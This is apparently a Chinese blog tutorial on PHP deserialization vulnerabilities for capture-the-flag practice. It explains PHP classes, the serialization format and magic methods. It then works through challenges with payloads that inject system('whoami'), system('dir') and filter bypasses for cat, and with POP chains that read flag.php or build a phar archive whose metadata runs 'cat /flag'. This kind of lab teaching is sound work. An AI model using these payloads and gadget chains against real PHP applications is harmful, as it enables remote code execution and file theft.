CTF-PHP反序列化

优秀的人,不是不合群,而是他们合群的人里面没有你

PHP快速入门

类1

在此之前必须要补充php的面向对象编程基础,就是python里面的class,其实是差不多的。了解一下咯

<?php

class test{

    var $name;
    // 定义变量name
    public $data = "你愁啥";
    // 定义公共变量data ,内容为你你愁啥
    function ppr(){
        // 定义函数,记住格式
        echo $this->data;
        echo $this->name;
        // 调用定义的内容,记住格式
    }
}

$a = new test;
$a->name='a';
$a->ppr();
?>

输出结果

你愁啥a

类2

<?php

class test{

    var $name='小王';
    var $age=17;
    function pp($sex){echo $this->name,'今年',$this->age,'性别:',$sex;}
    // 调用函数本身的内容用不用this
}

$a = new test;
$a->pp('男');

?>

输出结果

小王今年17性别:男

类3

<?php

class 厨子{
    var $c1='青椒肉丝';
    var $c2='辣椒炒肉';
    function go($name){
        echo $name,'要做:',$this->c1;
    }
}

$a = new 厨子();
$a->c1='狗屎炒肉';
$a->go('王大厨');
//$a->go($name='王大厨'); 这么写也是ok

?>

输出结果

王大厨要做:狗屎炒肉

反序列化入门

序列化:将变量转换为可保存或传输的字符串的过程;

反序列化:在适当的时候把这个字符串再转化成原来的变量使用。

优点:这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。

本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

类1

<?php

$a = 'langzi';
$b=17;
echo serialize($a);

echo serialize($b);
?>

输出结果:

s:6:"langzi"
// 字符串:长度6:内容

i:17;
//int整数:内容

类2

<?php

$a=array('langzi',17,'帅得很');
echo serialize($a);

?>

运行结果

a:3:{i:0;s:6:"langzi";i:1;i:17;i:2;s:9:"帅得很";}
// a对应列表名字,3对应列表的数量
// 这里的i:0就是列表第一个内容

这就是把数据序列化之后的结果,其他数据类型如下:

布尔类型true-->b:1;
布尔类型false-->b:0;
浮点数  12.3-->d:12.3;

类3

<?php

class test{
    var $name;
    var $data='gakkk';
}

$a = new test();
echo(serialize($a))
?>

运行结果

O:4:"test":2:{s:4:"name";N;s:4:"data";s:5:"gakkk";}
//O代表object对象,4代表类名长度,test代表类的名字,2代表有2个成员属性变量

把类序列化

类4

<?php

class test1{
    var $name='langzi';
}

class test2{
    var $ben;
    function __construct(){
    $this->ben = new test1();
    // 在这里实例化test1
}
}

$a = new test2();
echo serialize($a)
?>

运行结果

O:5:"test2":1:{s:3:"ben";O:5:"test1":1:{s:4:"name";s:6:"langzi";}}

可以看到另一个类被实例化后,长的就是这个样子

类5

<?php
    class Person{
    // 定义一个类叫Person    
        public $name;
        private $data = "show_source('flag.php');";
        // 我定义一个私有的变量,在这里就可以定义好
    // public 是共有的意思,类中所有人都可以调用

        // public(公有)protected(受保护)或 private(私有)来实现的。
        //public      可以在任何地方被访问。
        //protected   可以被其自身以及其子类和父类访问。
        //private     只能被其定义所在的类访问。
        //只有public方法可以在类的外部调用

        public $info;
    // 定义一个类里面的变量name
        public function age(){echo '刚满十八岁~<br>';}
    // 定义类其中的函数age(),功能是输出一段话,还可以写其他的php代码,比如system('ls');
        public function hello(){echo '人家是'.$this->name;}
    // 定义类其中的函数hello(),$this->name是调用类中的name
        public function say(){$this->age();}
    // 定义类其中的函数hello(),$this->age()是调用类中的age函数

        function __construct(){
            echo '我就是python中的__init__一样的功能,不管如何我永远第一个执行';

        }

        function __destruct(){
            echo '当我被销毁的时候我才执行~~';
        }
    }
    $run = new Person;
    // 和python一样,实例化
    $run->name = '小番茄';
    // 给类中的变量赋值
    $run->age();
    //调用运行类下面的age()函数
    $run->hello();
    //调用运行类下面的hello()函数
    $run->info='phpinfo()';

    echo(serialize($run));
    // 输出序列化的内容
?>

运行结果:

我就是python中的__init__一样的功能,不管如何我永远第一个执行刚满十八岁~<br>人家是小番茄O:6:"Person":2:{s:4:"name";s:9:"小番茄";s:4:"info";s:9:"phpinfo()";}    当我被销毁的时候我才执行~~

反序列化入门试题

如何判断一段代码存在php反序列化漏洞?

  1. 这段代码一定包含反序列化函数(unserilaze)并且反序列化函数的参数可以直接或间接可控
  2. 存在魔法函数
  3. 魔法函数内存在可以执行代码或者命令的函数该函数的参数直接或间接可控

必知必会

  1. 反序列化之后的内容是一个对象
  2. 反序列化生成的对象,对象里面的值,由反序列化里的值提供,与原有类定义的值无关
  3. 反序列化不触发类中的函数方法,需要调用函数方法才能执行,魔法函数除外,

实例1

示例代码

<?php

class test1{
    var $name='langzi';

    function run(){
        echo $this->name;
    }
}

$a = new test1();
$b = (serialize($a));
echo $b;
echo '\n---';

var_dump(unserialize(($b)));
//var_dump是调试函数
//或者用print_r也可以
?>

运行结果

O:5:"test1":1:{s:4:"name";s:6:"langzi";}


object(test1)#2 (1) {
  ["name"]=>
  string(6) "langzi"
}

同理通过修改反序列化的值,进而修改对象的属性

<?php

class test1{
    var $name='langzi';

    function run(){
        echo $this->name;
    }
}

$a = 'O:5:"test1":1:{s:4:"name";s:6:"langzi";}';
$b = unserialize($a);
var_dump($b);


$a = 'O:5:"test1":1:{s:4:"name";s:9:"langzifun";}';
$b = unserialize($a);
var_dump($b);

?>

运行结果

object(test1)#1 (1) {
  ["name"]=>
  string(6) "langzi"
}

object(test1)#2 (1) {
  ["name"]=>
  string(9) "langzifun"
}

可以看到这就完成修改了,在进一步拓展

<?php

class test1{
    var $name='langzi';

    function run(){
        echo $this->name;
    }
}

$a = 'O:5:"test1":1:{s:4:"name";s:6:"langzi";}';
$b = unserialize($a);
$b->run();



$a = 'O:5:"test1":1:{s:4:"name";s:9:"langzifun";}';
$b = unserialize($a);
$b->run();

?>

运行结果

langzi

langzifun

反序列化后,依然能调用类里面的方法。所以说啊,如果要用类里面的方法,直接在该文件调用就用

实例2

题目代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

复制下来到本地,进行修改删除无效代码,然后修改关键的参数a的内容

<?php
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$a = new test();
echo (serialize($a));

$b = 'O:4:"test":1:{s:1:"a";s:14:"system("dir");";}';
// 进行修改
$b = unserialize($b);
$b->displayVar();


?>

发现执行成功!按照题目的逻辑!对序列化生成的内容进行url编码,然后传参执行就是

<?php
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$b = 'O:4:"test":1:{s:1:"a";s:14:"system("dir");";}';
// 进行修改
echo urlencode($b)
?>

运行结果

O%3A4%3A%22test%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A14%3A%22system%28%22dir%22%29%3B%22%3B%7D

解题步骤

  1. 把题目代码复制到本地
  2. 注释掉方法和一些没有用的东西
  3. 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响

相关函数及技巧知识点

serialize(mixed $value)

参数为需要序列化的对象、数组、字符串等。返回值类型为字符串,即序列化字符串。

unserialize(string $str): mixed

参数类型为字符串,也就是序列化字符串。返回值为反序列化得到的对象、数组、字符串等。

魔法函数汇总

不需要申明直接调用的函数,反序列化时会将序列化字符串重新还原为对象,在这个过程中会⾃动去调⽤类中的魔术⽅法,⽐如 wakeup() 、 destruct() 等,如果这些魔术⽅法中存在⼀些危险操作,如读取⽂件、执⾏系统命令等。攻击 者可以通过构造对象中的变量值,在触发魔术⽅法时执⾏这些危险操作。

__construct()  // 构造函数,在实例化对象时调用
__destruct()   // 析构函数,在销毁对象时调用

__toString()  // 类被当成字符串时的回应方法  
        class sec {
            var $benben;
            public function __tostring(){
                echo "tostring is here!!";
            }
        }
        // 方法一触发
        echo new sec()

        //方法二触发
        // $a = 'O:3:"sec":1:{s:6:"benben";N;}';
        // echo unserialize($a);

__invoke()    // 以调用函数的方式调用一个对象时的回应方法, 
    $person = new Obj();
    $person();
    这样触发

__sleep()     // 执行serialize()时,先会调用这个函数
__wakeup()    // 执行unserialize()时,先会调用这个函数

__call(string $function_name, array $arguments)  // 在对象中调用一个不可访问或不存在的方法时被调用
    $person = new Obj();
    $person->callllxxllxx('a');
    callllxxllxx函数不存在,通过这样触发类里面的call方法
__callStatic() // 用静态方式中调用一个不可访问方法时调用
    $person = new Obj();
    $person::callllxxllxx('a');
    callllxxllxx函数不存在,通过这样触发类里面的callStatic方法

__get($name)   // 获取对象不存在的属性或无法访问的属性时调用
    $person = new Obj();
    $person->var2;
    var2变量在类中不存在,通过这样触发类里面的get方法
__set($name, $value) // 设置对象不存在的属性或无法访问的属性时调用.$name表示要设置的属性名,$value表示要设置的值
__get($name)   // 获取对象不存在的属性或无法访问的属性时调用
    $person = new Obj();
    $person->var2=1;
    var2变量在类中不存在,通过这样触发类里面的set方法

__isset()     // 当对不可访问属性调用isset()或empty()时调用
    $person = new Obj();
    isset($person-var2);
    var2变量在类中不存在,或者var2是私有属性时,通过这样触发类里面的isset方法
__unset()     // 当对不可访问属性调用unset()时被调用
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone()     // 当对象复制完成时调用
__autoload()  // 尝试加载未定义的类
__debugInfo() // 打印所需调试信息

反序列化时会默认调用的方法有:

__destruct()   // 析构函数,在销毁对象时调用
__wakeup()    // 执行unserialize()时,先会调用这个函数

例题1入门题

题目:

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

答案:问题的关键在于变量cmd是可控的,我们可以修改。然后destruct魔法函数在类执行完毕后执行。所以不管如何destruct都是会执行的,那么修改cmd变量就行

下载本地,删除无用的代码,修改poc

<?php
class evil {
    private $cmd='ls';
}

$s = new evil();
echo urlencode(serialize($s));
?>

参数传递进去,一定用burpsuite,得到flag的名字,但是cat被屏蔽,可以用ca\t或者sort,head多种方法

例题2construct和destruct魔术方法

<?php

class index {
    var $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>

删除无用代码,分析代码,发现要执行的关键在evil类的action函数,观察有魔法函数destruct,这个魔法函数只有在unserialize的时候才会。所以利用的链就能联通起来。

<?php
class index {
    var $test;
    public function __construct(){
        $this->test = new evil();
        // 实例化对象的时候会用到construct魔法函数
        // 这里的参数可以修改
    }
}

class evil {
    var $test2="system('whoami');";
    // 这里的参数也是可以修改的
    public function action(){
        eval($this->test2);
    }
}
$a = new index();
echo urlencode(serialize($a));
?>

这样就能执行系统命令,这就是在类里面修改变量。第二个方法就是类外定义变量,不要忘记类外定义的变量属性只能是public或var,删除无用代码

<?php
class index {
    var $test;
}
class evil {
    var $test2;
}

$a = new evil();
$a->test2 = "system('dir');";
$b = new index();
$b->test = $a;
echo urlencode(serialize($b));
?>

例题3wakeup和tostring魔术方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>

答案:

<?php

class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        // 3. 想要触发这里,在unserialaze fast的时候就可以处罚
        echo  $this->source;
        // 2. 发现这里输出source,可以想办法把sec在这里输出
        //
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
        // 1. 想要触发这里,就必须echo new sec()
    }
}
$a = new sec();
$b = new fast();
$b->source=$a;
// 4. 这里能够实现 2. 的目的
echo serialize($b);
// 5. 根据题目自动触发wakeup


?>

例题4 pop链 启动!

例题

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}

开始分析

<?php
//flag is in flag.php
class Modifier {
    private $var="flag.php";
    // 4. 修改可控的参数
    public function append($value)
    {
        include($value);
        // 2. 需要包含flag.php才能echo $flag,那么这里的$value应该等于flag.php,并且要执行append函数
        echo $flag;
        // 1. 根据提示,输出flag
    }
    public function __invoke(){
        // 5. invoke魔术方法需要以调用函数的方式调用一个对象时才能触发
        $this->append($this->var);
        // 3. 这里就是调用append函数的,传递的参数应该是flag.php,传递的参数可控,修改$var
    }
}

class Show{
    public $source;
    // 14. 修改变量成自己的类
    public $str;
    // 11. 这里的变量str可控,修改成类Test触发Test的get魔术方法
    public function __toString(){
        // 12. 类被当成字符串时的回应方法,需要echo才能执行
        return $this->str->source;
        // 10. 发现这里调用了其他的变量
    }
    public function __wakeup(){
        echo $this->source;
        // 13. 这里刚好有echo ,需要把source变量改成自己的类
    }
}

class Test{
    public $p;
    // 8. 修改可控变量,变成new Modifier()
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        // 9. 获取对象不存在的属性或无法访问的属性时调用
        $function = $this->p;
        // 7. 函数变量应该是Modifier,目的是Modifier,找到可控变量
        return $function();
        // 6. 在这里发现返回的结果是:执行一个函数
    }
}

$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p=$m;
$s->source=$s;
$s->str=$t;
echo urlencode(serialize($s))

?>

总结步骤:

  1. 要触发modifier中的append函数
  2. 要触发modifier中的invoke魔术方法
  3. 要触发test中的get魔术方法
  4. 要触发show中的tostring魔术方法
  5. 要触发show中的wakpup方法,正好unserialize直接触发

例题2

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag"."{XXXXXXXXXXXXXX}";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

答案:

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct(){
            $this->mod1 = new Call();
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct(){
            $this->mod1 = new funct();
        }
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;

        public function __construct(){
            $this->mod1 = new func();
        }

        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;

        public function __construct(){
            $this->mod1 = new string1();
        }

        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;

        public function __construct(){
            $this->str1 = new GetFlag();
        }

        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag"."{XXXXXXXXXXXXXX}";
        }
}

echo urlencode(serialize(new start_gg));

?>

例题3

题目:

index.phpWelcome
<?php
error_reporting(1);
class Read{//flag is in flag.php
    public $var;
    function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }

}
class Show{
    public $source;
    public $str;
    function __construct($file='index.php'){
        $this->source = $file;
        echo $this->source.'Welcome'.'<br/>';
    }
    function __toString(){
        return $this->str['str']->source;
    }
    function _show(){
        if(preg_match('/gopher|http|https|ftp|dict|\.\.|flag|file/i',$this->source)){
            die('Hacker');
        }else{
            highlight_file($this->source);
        }
    }
    function __wakeup(){
        if(preg_match('/gopher|http|https|ftp|file|dict|\.\./i',$this->source)){
            echo 'Hacker';
            $this->source = 'index.php';
    }
        }
}
class Test{
    public $p;
    function __construct(){
        $this->p = array();
    }
    function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $show = new Show('index.php');
    $show->_show();
}
?>

答案:

<?php

// Show::source -> Show::__toString() -> Test::__get() -> Read::__invoke() -> Read::file_get()

class Read{
    public $var = 'flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$r = new Read();
$s = new Show();
$t = new Test();

$t->p = $r;

$s->str['str'] = $t;

$s->source = $s;

echo serialize($s);
?>

例题4

题目:

<?php
//upload.php
error_reporting(0);
highlight_file(__FILE__);
class A {
    public $a;

    public function __destruct()
    {
        $s=$this->a;
        $s();
    }
}
class B{
    public $cmd;
    function __invoke(){        
        return $this->start();
    }
    function start(){
        system($this->cmd);
    }
}
if(isset($_GET['file'])) {
    if(strstr($_GET['file'], "flag")) {
        die("Get out!");
    }
    echo file_get_contents($_GET['file']);
}


?>

答案:

<?php
class A {
    public $a;

    public function __destruct()
    {
        $s=$this->a;
        $s();
    }
}
class B{
    public $cmd;
    function __construct(){
        $this->cmd = "cat /flag";
    } 
    function __invoke(){        
        return $this->start();
    }
    function start(){
        system($this->cmd);
    }
}
$b = new B();

$b->cmd = "cat /flag";

$a = new A();

$a->a = $b;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($a); //将⾃定义的meta-data存⼊manifest
$phar->addFromString("a.txt", "abb"); //添加要压缩的⽂件
$phar->stopBuffering(); //签名⾃动计算

?>
坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%